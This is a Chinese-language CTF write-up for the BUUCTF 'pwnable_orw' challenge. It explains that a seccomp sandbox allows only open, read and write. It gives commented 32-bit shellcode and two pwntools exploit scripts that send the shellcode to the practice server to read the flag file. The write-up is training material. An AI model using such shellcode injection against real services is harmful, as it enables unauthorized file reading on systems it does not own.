pwnable_orw
步骤:
-
例行检查,32位程序,开启了canary
-
本地运行一下程序,看看大概的情况,提示我们输入shellcode
-
32位ida载入,检索字符串,没看见什么可以直接利用的,直接看main函数
orw_seccomp函数
prctl在百度后知道了是沙盒机制,具体的看这篇文章
prctl seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的syscall,但是当劫持程序流程之后通过exeve来呼叫syscall得到shell时seccomp边排上了用场,他可以过滤掉某些syscall,只允许使用部分syscall。
本题系统内核只允许使用sys_open,sys_read,sys_write
系统内核的调用就是利用int 0x80 去调用函数的这种过程
所以本题的思路是open打开flag,read读入flag,write输出flag
利用过程:
- 通过open函数打开当前目录下的flag文件
在文件读写之前,我们必须先打开文件。从应用程序的角度来看,这是通过标准 库的open函数完成的,该函数返回一个文件描述符。内核中是由系统调用sys_open()函数完成。
第一部分:实现
char*file='flag';
sys_open(file,0,0);
xor ecx,ecx;
mov eax,0x5; # eax = sys_open
push ecx; # 字符串结尾" 0"
push 0x67616c66; # "flag字符串的16进制表示,由于小端序,所以是从右往左"
mov ebx,esp; # ebx = const char __user *filename
xor edx,edx; # edx = int mode 设定权限的
int 0x80;
- 利用read函数读取文件中的数据
第二部分:实现
sys_read(3,file,0x30);
mov eax,0x3; # eax = sys_read
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # ebx = unsigned int fd = 3 文件描述符
mov dl,0x30; # edx = size_t count 对应字节数
int 0x80;
- 利用write函数将文件中的数据打印到屏幕上
第三部分:实现
sys_write(1,file,0x30);
mov eax,0x4; # eax = sys_write
mov bl,0x1; # ebx = unsigned int fd = 1
mov edx,0x30 # edx = size_t count
int 0x80;
写成EXP是
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node3.buuoj.cn',29475)
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;mov edx,0x30;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag
参考了!ao!ao师傅的wp
这种汇编指令我只是看得懂,还不是很会写,我是利用的shellcraft构造的
from pwn import *
r = remote('node3.buuoj.cn',29475)
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()